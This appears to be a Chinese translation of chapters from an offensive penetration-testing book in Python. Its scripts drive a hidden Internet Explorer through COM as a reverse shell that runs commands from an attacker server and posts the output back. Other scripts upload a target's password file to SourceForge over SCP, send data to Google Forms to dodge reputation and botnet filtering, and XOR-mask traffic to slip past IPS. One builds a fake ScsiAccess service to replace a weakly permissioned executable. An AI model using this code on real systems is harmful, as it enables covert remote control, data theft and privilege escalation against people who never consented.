Python-进攻性渗透测试-二-

152 阅读23分钟

Python 进攻性渗透测试(二)

原文:annas-archive.org/md5/dccde1d96c9ad81f97529d78e3e69c9b

译者:飞龙

协议:CC BY-NC-SA 4.0

第四章:追捕我吧!

在今天的世界里,绕过和劫持软件在互联网上到处都是。然而,明确的使用和执行方式才是让你成为一名优秀的业余黑客的关键。

这可以通过正确选择工具并遵循必要的过程,完美地完成手头的任务来实现。

在本章中,我们将涵盖以下主题,帮助你实现这一目标:

  • 绕过基于主机的防火墙

  • 劫持 IE

  • 绕过拒绝过滤

  • 与 SourceForge 互动

  • 与 Google Forms 互动

  • 绕过僵尸网络过滤

  • 利用手工 XOR 加密绕过 IPS

绕过基于主机的防火墙

在我们之前的所有章节中,我们假设目标机器上的任何进程都可以在没有任何限制的情况下启动与互联网的连接。现在,在许多企业网络中,他们不再依赖内置的 Windows 防火墙。相反,他们使用高级的基于主机的防火墙来限制哪些进程可以启动与互联网的连接,就像访问控制列表(ACL)一样工作。因此,假设系统管理员只允许一些业务所需的进程访问互联网。例如,假设系统管理员允许 Windows 更新和杀毒软件更新,以及常见的浏览器,如 Chrome、Internet Explorer 和 Firefox。因此,只有这些进程被允许访问互联网,其他任何进程都会被阻止。通过实施这样的策略,我们的后门无法存活,因为它默认不会列入管理员的允许列表。最终,我们无法获得对攻击者机器的 shell。

然而,如果我们找到一种方法,能够利用我们的 Python 脚本某种方式控制Internet ExplorerIE),然后迫使它在后台连接到我们的 Kali HTTP 服务器并来回传输命令,那么我们就能绕过基于主机的防火墙策略。微软提供了组件对象模型COM),以支持进程间通信,并通过编程方式创建对象来控制和自动化多个微软产品,如 Outlook、Internet Explorer、Word 和 Excel。Internet Explorer 是所有 Windows 版本中内置的浏览器;因此,它应该始终可用,并且通常被安全管理员列为白名单中的备份浏览器,以防其他浏览器无法使用。让 Internet Explorer 代替我们发起连接的另一个好处是,如果目标在连接互联网之前使用了内部代理,那么你不必担心知道代理信息,因为 Internet Explorer 会为我们处理这一切。

所以,我们在这里做的是假设主机防火墙只允许某些进程,如杀毒软件、Firefox、Internet Explorer 或 Windows 更新,其他的都不允许。为此,在我们的 Python 脚本中,我们将定义一个 COM 对象来控制 Internet Explorer。然后,我们将让 Internet Explorer 导航到我们位于 Kali 机器上的 HTTP 服务器,并获取需要执行的命令。

一旦我们得到需要执行的命令,我们将启动一个子进程。我们检索命令并传递给 EXE。然后,使用 COM 对象,我们将通过 Python 脚本将其返回并启动cmd.exe作为子进程。使用 COM 对象获取的命令结果,我们会将其传递给 Internet Explorer,然后将其发布到我们位于 Kali 机器上的网站。如果你记得,这种技术与我们之前的 HTTP 反向 Shell 非常相似,但这里的关键区别是我们使用 Internet Explorer 作为我们的 Web 客户端,而不是像之前那样使用requests库。从主机防火墙的角度来看,最终的结果是,Python 脚本并没有启动任何外部会话,而是 Internet Explorer 启动了会话。

以下链接将提供有关 COM 协议的更多信息:claudihome.com/html/LR/WebHelp/Content/VuGen/132800_click_and_script.htm

劫持 IE

一如既往,使用 Python 编程将使你的生活更加轻松。现在,要在 Python 中使用 COM,你只需要安装 Python for Windows 或pywin库。由于我们在创建之前的键盘记录器时已经安装了这个库,这里就不再详细讲解了。现在,让我们进入编码部分:

# Python For Offensive PenTest

# Install Python for Windows pywin32-219.win32-py2.7
# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/

# Hijacking IE - Shell Over IE

from win32com.client import Dispatch
from time import sleep
import subprocess

ie = Dispatch("InternetExplorer.Application") # Create browser instance.
ie.Visible = 0 # Make it invisible [ run in background ] (1= invisible)
...

在这里,我们通过创建一个InternetExplorer对象实例并将 Visible 选项设置为 0,意味着 Internet Explorer 将在后台运行。

如果我们将值设置为 1,那么 Internet Explorer 窗口将显示到目标桌面上,这是我们不希望发生的。

...
# Paramaeters for POST
dURL = "http://10.10.10.100"
Flags = 0
TargetFrame = ""

while True:

    ie.Navigate("http://10.0.10.100") # Navigate to our kali web server to grab the hacker commands

    while ie.ReadyState != 4: # Wait for browser to finish loading.
        sleep(1)

    command = ie.Document.body.innerHTML

    command = unicode(command) # Converts HTML entities to unicode. For example '&' becomes '&'
    command = command.encode('ascii','ignore') # encode the command into ASCII string and ignore any exception
    print ' [+] We received command ' + command

    if 'terminate' in command: # if the received command was terminate
        ie.Quit() # quit the IE and end up the process 
        break # end the loop

    else: # if the received command was NOT terminate then we inject the command into a shell and store the result in a variable called Data
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

        Data = CMD.stdout.read()
        PostData = buffer( Data ) # in order to submit or post data using COM technique , it requires to buffer the data first
                                  # https://docs.python.org/2/library/functions.html#buffer
        ie.Navigate( dURL, Flags, TargetFrame, PostData ) # we post the comamnd execution result along with the post parameters which we defined earlier..

    sleep(3)

接下来,我们开始进入一个无限循环,并导航到我们的 Kali IP 地址。我们将等待浏览器完成加载。如果浏览器没有完全加载页面,我们会休眠一秒钟。请注意,当浏览器加载完成时,ReadyState的值为4,此时第二个循环将被终止。

接下来,我们将 HTML 页面加载到一个名为command的变量中;然后,我们将 HTML 实体转换为unicode。最后,我们将命令编码为 ASCII 字符串,并忽略在此过程中可能发生的任何异常。最终结果将是我们应该执行的命令,并且我们会将其打印出来。与我们之前的 Shell 一样,如果我们从 Kali 机器获得terminate命令,我们将退出 Internet Explorer 实例并break循环。如果命令没有终止,我们就将命令注入到 Shell 中,并将结果存储在一个名为Data的变量中。现在,为了使用 COM 技术提交或发布Data,首先需要对Data进行buffer处理,我们使用了 Python 内置的buffer()函数来实现这一点。最后,我们将命令执行结果与之前定义的POST参数一起提交。我们从未使用过FlagsTargetFrame,所以我们将它们设置为默认值。这里的主要参数是dURL,它定义了我们希望提交数据的目标 URL。

让我们稍微跳到攻击者的一方,这里我们使用的正是之前在 HTTP 反向 Shell 中使用的那个 HTTP Web 服务器。启动目标端脚本后,Internet Explorer 将在后台启动,正如我们从以下截图中的 Windows 任务管理器的进程标签可以看到的那样:

如你所见,它对用户完全不可见。IE 正在运行,但正如我们所看到的,GUI 并没有出现在应用程序标签中。在受害者端的 Kali 机器上执行ipconfig命令时,我们获得了ipconfig命令的输出。接下来,我们可以访问目录以及执行其他命令。你还可以执行一个快速的ping 10.10.10.100

dir
cd
whoami
arp -a
ping 10.10.10.100

输出将类似于以下内容:

[+] We received command ipconfig
[+] We received command dir
[+] We received command cd
[+] We received command whoami
[+] We received command arp -a
[+] We received command ping 10.10.10.100

我们的 Shell 已经完全可用了。那么,再次解释一下刚刚发生了什么:

  • 我们的 Python 脚本在后台启动了 Internet Explorer 进程,并且我们使用 Internet Explorer 导航到 Kali 端的命令和控制服务器。

  • 然后,我们通过GETPOST方法在它们之间来回传输数据。

  • 现在,最后注意,这不仅限于一个 Shell。你还可以通过 COM 协议传输文件和提交数据。

  • 我们将留给你去发现使用 COM 协议时可以做的其他功能。

绕过下一代防火墙中的信誉过滤

下一代防火墙是集成式防火墙。它们在一个设备中具备所有安全功能,如 IPS、杀毒、反垃圾邮件和信誉过滤等。在这一部分中,我们将讨论一个重要的安全功能,它可以防止我们在目标上成功获取 shell。现在,假设我们已经成功在目标机器上植入了 Python 反向 shell。现在,在传统防火墙中,如果访问控制列表ACL)允许外部流量,则我们会成功获取到 shell。但如果防火墙正在进行信誉过滤,那么一旦客户端发起会话并返回到我们的 Kali 机器并到达防火墙时,防火墙将进行查找并检查目标 IP。然后,它会检查目标 IP 是否属于恶意网站。这个检查是基于 IP 池进行的,IP 池是防火墙从厂商数据库下载的 IP 列表。因此,如果是 Cisco 防火墙,它会使用 Cisco 数据库。如果是 Palo Alto 防火墙,它会使用 Palo Alto 池。这个数据库或池包含了大量带有信誉排名的 IP 列表。

例如,假设在 IP 或数据库中有一个 IP 地址 1.1.1.1,它的排名为 10,意味着它完全可以信任。同时,我们还有一个 IP 地址 2.2.2.2,它的排名较低为 2,这意味着它被报告为恶意 IP。假设攻击者的 IP 地址是 3.3.3.3。当发起的会话到达防火墙,并且目标 IP 地址为 3.3.3.3 时,如果这个 IP 没有被列入白名单,并且在 IP 数据库中的排名较低,那么防火墙将丢弃该流量,并将此决策记录到管理员日志中。

这里的想法是使用像 Google Forms 这样的服务器或网站提交文本,或者可能使用 SourceForge 上传文件。这样做的好处是,首先,这两个服务器或服务都非常知名,且在 10 分制中的信誉排名很高。因此,我们预计会在 IP 池或 IP 数据库中看到www.google.com或 Google Forms,且其排名为 10。其次,它可能从未被安全管理员或实时监控流量的人员标记为可疑。

与 SourceForge 互动

在本节中,我们将看到如何轻松地将文件上传到 SourceForge。从声誉过滤的角度来看,SourceForge 通常是白名单的,可能从未被安全管理员关注过。SourceForge 提供多种与其存储库交互的方式。我们将使用 SCP,这是通过 SSH 会话传输文件。现在,在 SourceForge 创建帐户很容易,因此我们将跳过这部分。在开始之前,花一分钟阅读 SourceForge 有关使用 SCP 和所需格式的文档,sourceforge.net/p/forge/documentation/SCP/。我将登录我的账户,我已经创建了一个名为Test的项目,目前没有任何文件。

现在让我们立即进入编码部分。我们将使用两个库来完成我们的工作:

# Python For Offensive PenTest

# Interacting with SourceForge

import paramiko # pip install paramiko
import scp # download link: https://pypi.python.org/pypi/scp
...

第一个库是paramikoparamiko是 SSHv2 协议的 Python 实现,提供客户端和服务器功能。scp是在paramiko之上构建的更高级库,用于在一行代码中传输文件。

在使用这些库之前,必须首先安装一个名为PyCrypto的先决条件库,从www.voidspace.org.uk/python/modules.shtml#pycrypto下载。步骤非常简单。

下一步是使用pip命令安装paramiko

pip install paramiko

最后一步是安装scp库。如果在库设置脚本中遇到任何问题,只需将库手动复制到 Python site-packages 目录中。只需通过导航到 Python27 | Lib | site-packages 粘贴 scp 脚本。

让我们来看看剩下的脚本:

...
ssh_client = paramiko.SSHClient() # creating an ssh_client instance using paramiko sshclient class

'''
when you connect to an ssh server at the first time, if the ssh server keys are not stores on the client side, you will get a warning
message syaing that the server keys are not chached in the system and will prompt whether you want to accept those keys.

since we do an automation on the target side, we inform paramiko to accept these keys for the first time without interrupting the session or
prompting the user and this done via > set_missing_host_key_policy(paramiko.AutoAddPolicy()
'''

ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh_client.connect("web.sourceforge.net", username="hkhrais", password="[123justyouandme]") #Authenticate ourselves to the sourceforge server
print '[+] Authenticating against web.sourceforge.net ...' #please use your own login credentials :D

scp = scp.SCPClient(ssh_client.get_transport()) #after a successful authentication the ssh session id will be passed into SCPClient function

scp.put('C:/Users/Hussam/Desktop/password.txt') # upload to file( in this case it's password.txt) that we want to grab from the target to /root directory
print '[+] File is uploaded '

scp.close()
print '[+] Closing the socket'

因此,我们的脚本将从使用paramiko.SSHClient()类创建一个ssh_client实例开始。现在,当您第一次连接到 SSH 服务器并且如果 SSH 服务器密钥未存储在客户端端,您将收到一个警告消息,指出服务器密钥未缓存在系统中;它将提示您接受这些密钥。

打开 PuTTY 软件,使用web.sourceforge.net作为主机名,端口22,协议为 SSH 连接到 SourceForge 服务器。现在,点击打开:

我们将收到一个警告弹出窗口,因为密钥未缓存在系统中。现在,由于我们执行自动化,我们将通知Paramiko在第一次接受这些密钥时不中断会话或提示用户。这将通过client.set_missing_host_key_policy,然后AutoAddPolicy()完成。

代码块中的下一步是定义我们要连接的 SourceForge 服务器名称,并上传我们的文件。我们还提供了登录凭据。在提供了 usernamepassword 后,我们将通过 SourceForge 服务器进行身份验证。身份验证成功后,SSH 会话 ID 将传递给 SCPClient() 函数,并且 get_transport() 函数将返回该会话 ID。完成此步骤后,我们所要做的就是指定要导出的文件路径,并将其上传到我们的仓库。

在这个例子中,我使用了第 5 模块或 M5.pdf 文件。因此,我们将使用 SCP 中的 put() 函数来执行上传,最后通过 .close() 函数关闭会话。

运行脚本后,我们将收到以下成功认证信息:

>>>
[+] Authenticating against web.sourceforge.net ...
[+] File is uploaded
[+] Closing the socket
>>>

现在,让我们切换到攻击者端,验证我们是否得到了文件。首先,安装 FileZilla FTP 客户端来访问我们的仓库:

apt-get install filezilla 

通过运行filezilla打开软件,并输入先前在脚本中输入的服务器名称/主机名、用户名、密码和端口号,以登录您的帐户。由于这是第一次登录,会出现警告信息,如果我们稍微向下滚动,就可以看到文件已经成功上传。M5 文件已经成功上传,以下截图显示了这一点:

尝试通过右键点击文件名并选择“下载”来下载此文件。如果没有错误,控制台会显示文件已成功传输。

现在,重复上述步骤,使用 .txt 扩展名检查是否成功。刷新攻击者侧并查看内容。渗透测试评估完成后,请确保从 SourceForge 仓库中删除文件。

与 Google Forms 互动

在前面的部分,我们已经看到如何将数据导出到 SourceForge 网站。现在,我们将使用 Google Forms 提交普通文本。请注意,这些文本可能是我们 Shell 的命令执行输出。这里的关键点是,类似 SourceForge,Google Forms 也有相当高的信誉排名。按照以下步骤开始:

  1. 登录 Google Forms

  2. 点击“开始新表单”创建一个新的 Google 表单

  3. 将问题输入为 Python 不是很酷吗?

  4. 在“响应”选项卡中,保留电子表格的默认名称

  5. 将问题类型从默认的“多项选择”更改为“段落”

  6. 创建表单后,点击“发送”

  7. 将提供的链接复制到记事本或文本文件中

  8. 访问我们复制的链接并提交一个简单的文本

  9. 检查我们创建的 Google Sheet 中的响应,到那时它将存储在您的 Google Drive 中

现在,我们将编写一个 Python 脚本,将目标端的文本数据提交到我们的 Google 表单,最棒的是,我们可以在不登录 Google 账户的情况下完成这项工作。像往常一样,最适合与网页交互的 Python 库是 requests,我们在前面的章节中已经使用过 requests

'''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read Google terms and conditions carefully. 
Use it on your own risk. 
'''

# Python For Offensive PenTest

# Interacting with Google Forms

import requests # To install requests library, just type on the CMD: pip install requests

url = 'https://docs.google.com/forms/d/e/1FAIpQLSdNHreWMKC4li3a-Ox7IzQZ9mkZjI94I8U6jz8yHBkePXSPoA/formResponse' # please replace the URL with your own google form :D

'''
notice that i added /formResponse to the end of the URL and this is inherited from the page HTML source code,
as we can see below, the HTML form action contains /formResponse when method POST is used to send the user data
so we have to add this part when we automate the data submission
<div class="ss-form"><form action="https://docs.google.com/forms/d/1Ndjnm5YViqIYXyIuoTHsCqW_YfGa-vaaKEahY2cc5cs/formResponse?pli=1"
method="POST" id="ss-form" target="_self" onsubmit=""><ol role="list" class="ss-question-list" style="padding-left: 0">
'''

form_data = {'entry.1542374001':'Hello from Python'}

r = requests.post(url, data=form_data)
# Submitting form-encoded data in requests:-
# http://docs.python-requests.org/en/latest/user/quickstart/#more-complicated-post-requests

再次强调,安装非常简单:只需执行 pip install requests。现在,我们看到的是 requests 文档,用于提交 HTML 表单编码的 POST 请求:

现在,根据文档,我们首先定义提交表单的 URL,在我们的例子中,就是 Google 表单的 URL。第二个参数是我们的数据,以字典格式呈现,其中我们有一个 key 和对应的值。请记住,key 是表单名称,而它的值是我们要发送的文本数据。

让我们跳转到 Google 表单链接,找出表单名称,这将是我们字典中的 key。打开我们创建的表单的源代码,在 HTML 中搜索 Python 字符串。如果仔细查看,你会发现提交文本的 HTML 表单名称。在我们的例子中,作为 <textarea name> 的值,表单名称是 entry.1542374001

到这里为止,我们已经发现了 key 名称,这就是我们需要用来自动化这个过程的东西。记住,值是我们想要发送或提交的数据。

现在先将表单名称复制到记事本文件中。接着,我们需要返回到之前的与 Google 表单交互脚本并在其中填入这些信息。首先复制表单的 URL,并将其赋值给 import requests 行下方的 url 变量,最后,去掉 URL 中的 /viewform 部分,并在末尾添加 /formResponse。将表单名称 entry.1542374001 作为键,暂时将数据设为 Hello From Python

...
url = 'https://docs.google.com/forms/d/e/1FAIpQLSdNHreWMKC4li3a-Ox7IzQZ9mkZjI94I8U6jz8yHBkePXSPoA/formResponse'
...
form_data = {'entry.1542374001':'Hello from Python'}
...

保存脚本。到目前为止,我们已经准备好了所有内容。让我们运行脚本,如果一切正常如预期,我们应该会在表单响应中看到 Hello From Python 被添加进去。

在下一部分,我们将展示如何在实际的渗透测试中使用这个脚本。

绕过僵尸网络过滤

如果你按照顺序阅读了前面的章节,那么到这一点,你应该能够在不登录 Twitter 和提交文本到 Google 表单的情况下,掌握 Twitter 的命令操作,同时也无需登录 Google 账户。最后,你应该能够将文件上传到 SourceForge。那么,你可能会问:黑客能用这些服务做什么?

好吧,他们可以像发布推文一样发送 ipconfig 命令,然后让多个感染的目标解析这条推文并执行命令。执行命令后,我们可以将执行结果提交到 Google 表单。或者,如果命令语法或格式包含 grab 关键字,那么目标将会把文件上传到我们的 SourceForge 仓库。

现在,在现代防火墙中,僵尸网络过滤功能会根据某些标准或参数进行查找,例如现代僵尸网络使用的应用程序或协议,如 IRC、动态 DNS,以及从内部到外部主机创建的会话数量。所有这些都会被现代或下一代防火墙考虑,用来检查这些流量是否属于僵尸网络。此外,不需要多提的是,声誉过滤也是这些检查和过滤的一部分。

基于知名服务器构建僵尸网络的好处是,首先,我们不使用 IRC 渠道或动态 DNS。接下来,我们不需要与攻击者机器进行直接互动或交互。最后,所有这些服务器或服务都是知名且可信的。

如果你滥用这些服务并在实验室环境之外使用它们,你将违反服务条款和协议,最终根据相关地区的司法管辖区,你将受到法律的追诉。

请记住,我的目的是让你意识到类似类型的攻击,这样你就能警惕它们。所以,我希望你挑战自己,尝试将所有这些脚本合并并压缩成一个高级 Shell,然后尝试在你的家庭实验室环境中感染多台运行 Windows 7 的虚拟机。之后,或者最后,你将能够控制它们并提取数据。我们在本节中没有提到的最后一点是加密。在下一节中,我们将看到如何轻松地构建 XOR 加密并掩盖我们的明文流量。

使用手工 XOR 加密绕过 IPS

在本节中,我们将用 Python 构建一个简单的 XOR 加密。现在,流量加密是避开网络分析器或 IPS 传感器的最强大技术之一,但在开始编码之前,让我们先快速了解这些设备最初是如何工作的。

一般来说,这些设备可以在两种模式下运行:第一种模式是基于签名的模式,它会检查通过传感器的包参数和数据负载。然后,类似于杀毒软件,它检查是否与其签名数据库有任何匹配,并根据匹配规则指定的操作,可能会丢弃或记录流量。第二种模式是基于行为基于异常的模式,在这种模式下,你将 IPS 安装在网络中,它会学习协议类型以及通过传感器的包速率。然后,它会基于当前的网络流量建立其数据库或基线数据库。

例如,在一个网络中,假设我们有 50 台 PC 通常使用 SSH 访问远程服务器。如果 IPS 是基于行为的,它会学习到平均而言我们有 50 个 SSH 会话,并会为此创建基线。后来,如果某台 PC 使用了 Telnet,IPS 会认为这个协议是可疑活动,并可能丢弃这个连接。尽管 Telnet 会话是合法的,但由于 IPS 在学习阶段没有注意到任何 Telnet 会话,它不会把它包含在 IPS 基线中,这种错误的行为被称为误报。这就是为什么基于行为的 IPS 不常使用的原因,因为它们经常出现误报。

现在,我们将编写一个非常简单的 XOR 加密来掩码我们的数据负载。你可能会想:为什么是 XOR 加密?为什么不创建一个 SSH 或 HTTPS shell,因为这些协议本身就提供加密?嗯,我不推荐这样做,因为在许多企业网络中,你可能会发现目标安装了一个解密设备,它可以终止 SSL 和 SSH 加密。基本上,一旦流量进入该设备,它会转换或移除这些协议的加密,并在将其传递到 IPS 传感器进行检查之前,将其转换为明文。技术上来说,你不会拥有端到端加密的 shell,如果你遇到这个解密设备,你就没有任何附加值。

许多现代防火墙或下一代防火墙可以终止 SSL 和 SSH 加密进行检查。

让我们跳到编码部分:

# Python For Offensive PenTest

import string # The random and string libraries are used to generate a random string with flexible criteria
import random

# XOR Encryption

# Random Key Generator

key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(1024))

# the for loop defines the key size, key size is 1 KB which if you remember in our TCP shell, it matches the TCP socket size :)
# the "".join will put the result for the random strings into a sequence and we finally will store it in a key variable 
# so all in all the for loop will generate a 1024 random string which are matching our criteria and . join is used to gather these strings into a sequence

print key
print '\n' + 'Key length = ' + str ( len(key) )

# After we generate the XOR key, you need to take into consideration the XOR encryption rule which says the key length must be greater or equal the msg/data
# which we will send over the tunnel. len(key) >= len(message) 

message = 'ipconfig' # this is the message which we will encrypt before it's getting sent
print "Msg is " + message + '\n'
...

让我们先看一下第一部分。我们将生成一个随机密钥,用于 XOR 加密。现在,我们的密钥应该足够复杂,并满足以下标准:它应包含小写字母、大写字母、数字和特殊字符。现在,最后的for循环定义了密钥的大小。密钥的大小是 1 KB,这在我们的 TCP shell 中,如果你记得的话,与 TCP 套接字大小相匹配。开始的空字符串.join将把随机字符串的结果放入一个序列,最后我们将其存储在key变量中。总的来说,for循环将生成1024个符合我们标准的随机字符串,而.join用于将这些字符串汇集成一个序列。

运行代码时,将生成一个长度为1024的密钥,我们可以用来进行加密。如果你再运行一次脚本,你会得到一个完全不同但大小相同的密钥:

...
# here i defined a dedicated function called str_xor, we will pass two values to this function, the first value is the message(s1) that we want to encrypt or decrypt, 
# and the second parameter is the xor key(s2). We were able to bind the encryption and the decryption phases in one function because the xor operation is exactly the
# same when we encrypt or decrypt, the only difference is that when we encrypt we pass the message in clear text and when we want to decrypt we pass the encrypted message

def str_xor(s1, s2):
 return "".join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])

# first we split the message and the xor key to a list of character pair in tuples format >> for (c1,c2) in zip(s1,s2)

# next we will go through each tuple, and converting them to integer using (ord) function, once they converted into integers we can now 
# perform exclusive OR on them >> ord(c1) ^ ord(c2)

# then convert the result back to ASCII using (chr) function >> chr(ord(c1) ^ ord(c2))
# last step we will merge the resulting array of characters as a sequence string using >>> "".join function 

#Here we do a quick test 

enc = str_xor(message, key)
print 'Encrypted message is: ' + '\n' + enc + '\n' 

dec = str_xor(enc, key)
print 'Decrypted message is: ' + '\n' + dec

#Make sure that the SAME Key is HARDCODED in the Server AND client, otherwise you won't be able to decode your own messages!

在 XOR 加密的第二部分,请记住密钥的大小应该等于或大于明文消息。我们将两个值传递给专用函数 str_xor()。第一个参数 s1 是我们要加密或解密的消息,第二个参数 s2 是 XOR 密钥。请注意,使用相同的 key 进行加密和解密。消息可以是我们想要解密的加密消息,也可以是我们想要加密的明文消息。因此,XOR 操作在加密和解密时是完全相同的。唯一的区别是,在加密时,我们传递明文消息,而在解密时,我们传递加密消息。以下这行来自 XOR Encryption 脚本的代码会为我们同时执行加密和解密:

...
return "".json([chr{ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])
...

所以,首先,我们将消息和 XOR 密钥分割为一对对字符的列表,格式为元组。接下来,我们将遍历每个元组,并使用 ord() 函数将其转换为整数。现在,一旦它们转换为整数,我们就可以对它们执行排他性 XOR 操作。然后,在最后部分,我们将使用字符函数 chr() 将结果转换回 ASCII。最后,我们将通过 .join() 函数将结果字符数组合并成一个序列。所以,总结起来,我们将首先打印明文消息,然后是加密后的版本,最后是解密后的消息。

运行脚本后,你将在输出中看到 XOR 密钥、我们传递的消息、加密后的消息以及解密后的消息。

每次运行脚本时,都会生成一个新的密钥,因此会显示一个新的加密消息。

一旦生成了 XOR 密钥,请确保将相同的密钥硬编码到你的 Kali 服务器脚本和 Windows 后门中,否则你将无法解密你的消息。

总结

在本章中,我们讨论了从绕过防火墙到与网站交互的广泛话题。我们在使用各种工具和不同方法的基础上,完成了这些任务,从而能够通过攻击者机器攻击受害者机器或加密解密我们的消息。

在接下来的章节中,我们将讨论与弱服务文件权限相关的特权提升,准备易受攻击的软件,通过后门侵入合法的 Windows 服务,以及创建新的管理员账户。

第五章:Windows 中的其他有趣内容

在本章中,我们将主要关注在 Windows 系统中利用易受攻击的软件,并使用不同的技术进行特权提升。随后,我们还将创建后门并掩盖痕迹。本章将大致介绍如何利用 Python 脚本的强大功能来为我们所用。

本章将涵盖以下主题:

  • 特权提升 – 弱服务文件

  • 特权提升 – 准备易受攻击的软件

  • 特权提升 – 后门合法的 Windows 服务

  • 特权提升 – 创建新的管理员账户并掩盖痕迹

特权提升 – 弱服务文件

在渗透测试阶段,你可能会遇到一个标准用户账号,在此账号下,由于用户访问控制UAC),你没有完全的权限访问或修改文件系统,每次你试图提升权限时,都会弹出一个窗口,要求你输入管理员密码。在本节中,我们将讨论一种特权提升攻击的类型,你可以通过这种方式从标准用户权限提升到管理员或系统权限。这些我们将讨论的攻击方法,称为通过服务文件权限漏洞进行特权提升。如果服务可执行文件的位置可以被标准用户修改,则系统将变得易受攻击。此时,它可以被另一个恶意可执行文件覆盖。我们可以利用这一点,通过启动我们的恶意可执行文件来获取系统权限。一旦在重启系统后启动服务,被替换的可执行文件将运行,而不是原始的服务可执行文件。总之,我们已经获得了系统权限,并将运行一个属于易受攻击软件的 EXE 文件。现在,由于该软件的 EXE 文件可以被标准用户在标准用户的配置文件中写入,因此我们可以简单地将其替换为恶意 EXE 文件。

因此,这款软件 EXE 文件可以由用户空间的标准用户写入或修改。所以,我们可以做的事情是,直接将软件 EXE 文件替换为恶意 EXE 文件。在接下来的三次启动中,我们的 EXE 将取而代之,并将以系统权限执行。

这是一个关于特权提升类型的链接,并简要描述每种类型:

attack.mitre.org/wiki/Privilege_Escalation。如果你有时间,我建议你阅读这篇文章。

特权提升 – 准备易受攻击的软件

在本次演示中,我将使用一款名为Photodex的易受攻击软件,该软件来源于 Exploit Database 网站。你可以从www.exploit-db.com/exploits/24872/下载此软件。下载完成后,将该软件安装到目标机器上。安装完成后,重启机器。

现在,让我们尝试在目标 Windows 机器上创建一个 nonadmin 标准账户,方法是前往控制面板 | 添加或删除用户账户 | 创建一个新账户。我们将其命名为 nonadmin。创建完账户后,登录到 nonadmin 账户,导航到安装时创建的 Photodex 目录,路径在 C:\ 驱动器,同时打开任务管理器。

你将能够在“服务”标签下看到由 Photodex 软件创建的服务名称,即 ScsiAccess。要获取更多关于此服务的信息,请点击“服务”按钮。在打开的“服务”窗口中,找到 ScsiAccess,右键点击并选择“属性”,你将能够找到该服务的 EXE 文件路径。然后进入该目录,在我的例子中,它是 C:\Program Files\Photodex\Pro Show Producer\ScsiAccess.exe。找到 EXE 文件,右键点击它;注意,我们不需要任何管理员权限就能重命名、删除、复制甚至剪切这个文件。所以,理论上,如果我把这个文件重命名为 ABC,例如,然后用一个恶意文件替代它,那么我们就可以利用这个漏洞。接下来,我们将看看如何利用这个漏洞。在下一部分,我们将纯粹使用 Python 创建一个新的服务 EXE 文件。然后,我们将替换当前的 sciaccess.exe 文件,并看看通过这样做我们能获取哪些权限。

权限提升 – 通过后门访问合法的 Windows 服务

在这一部分中,我们将编写一个恶意服务文件来替换合法的服务文件。现在,为了替换服务文件,我们的新恶意服务文件应该能够与 Windows 服务控制管理器进行通信。例如,当你手动启动、停止、暂停或恢复服务时,Windows 服务控制管理器会向 EXE 服务文件发送信号或命令,作为回应,服务文件通常会服从服务控制管理器的命令。如果由于某种原因,服务文件或 EXE 文件未能理解该信号,那么服务控制管理器将无法启动服务,并且你会收到一个错误提示:“服务没有及时响应启动或控制请求”。

现在,让我们进入代码部分:

# Python For Offensive PenTest

# Backdooring Legitimate Windows Service

import servicemanager
import win32serviceutil
import win32service
import win32api

import os
import ctypes

...

# Part 1 - initializing : in this section we:-
if __name__ == '__main__':

    servicemanager.Initialize() # define a listener for win servicemanager
    servicemanager.PrepareToHostSingle(Service)
    servicemanager.StartServiceCtrlDispatcher()
    win32serviceutil.HandleCommandLine(Service) #pass a Service class handler, so whenver we got a signal from the servicemanager we will pass it to the Service class

首先,我的部分代码继承自我在 ActiveState 网站上找到的一个脚本。在这里,你可以找到原始脚本:code.activestate.com/recipes/551780/。其次,我建议阅读更多关于 Microsoft 服务控制管理器功能的资料。这里是一个不错的起点:msdn.microsoft.com/en-us/library/windows/desktop/ms685150(v=vs.85).aspx。最后但同样重要的是,pywin库是创建 Windows 服务的前置库。你可以从以下链接下载:sourceforge.net/projects/pywin32/files/pywin32/Build%20219/。我们的代码可以分为两个部分。第一部分是关于初始化的。在这一部分,我们为 Windows 定义一个监听器,即servicemanager。然后,我们传递一个Service类处理程序,因此每当我们从servicemanager接收到信号时,我们会将其传递给Service类。

让我们进入第二部分:

# Part 2 - Here (in service class) we define the action to do when we got a service manager signal 

class Service(win32serviceutil.ServiceFramework):

    _svc_name_ = 'ScsiAccess' # specify the service name and the display name - note that the name scsiacces is similar to the original one for photodex vulnerable software
    _svc_display_name_ = 'ScsiAccess'

    def __init__(self, *args): # Initialize ServiceFramework and we define in functions style what to do when we got a service manager signal
        win32serviceutil.ServiceFramework.__init__(self, *args)

    def sleep(self, sec): # if the service manager signal was pause - then we sleep for an amount of seconds
        win32api.Sleep(sec*1000, True)

    def SvcDoRun(self): # if the signal was start - then:-

        self.ReportServiceStatus(win32service.SERVICE_START_PENDING) # tell the Service Manager that we are planning to run the service via reporting back a start pending status
        try:
            self.ReportServiceStatus(win32service.SERVICE_RUNNING) #tell the Service Manager that we are currently running up the service then call the start
                                                                   #function (start) if any exception happened, we will call the stop function (SvcStop)
            self.start() 

        except Exception, x:
            self.SvcStop()

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) #tell the Service Manager that we are planning to stop the serivce
        self.stop()
        self.ReportServiceStatus(win32service.SERVICE_STOPPED) #tell the Service Manager that we are currently stopping the service

    def start(self):
        self.runflag=True # mark a service status flag as True and we will Wait in while loop for receiving service stop signal from the service manager

        '''
        This little code is to double check if we got an admin priv, after replacing our malicious service, thanks to IsUserAnAdmin function
        https://msdn.microsoft.com/en-us/library/windows/desktop/bb776463(v=vs.85).aspx

        f = open('C:/Users/nonadmin/Desktop/priv.txt','w')
        if ctypes.windll.shell32.IsUserAnAdmin() == 0:
            f.write('[-] We are NOT admin! ')
        else:
            f.write('[+] We are admin :)')
        f.close()
        '''

        while self.runflag: # Wait for service stop signal
            self.sleep(10)

    def stop(self): # now within the stop function we mark the service status flag as False to break the while loop in the start function
         self.runflag=False

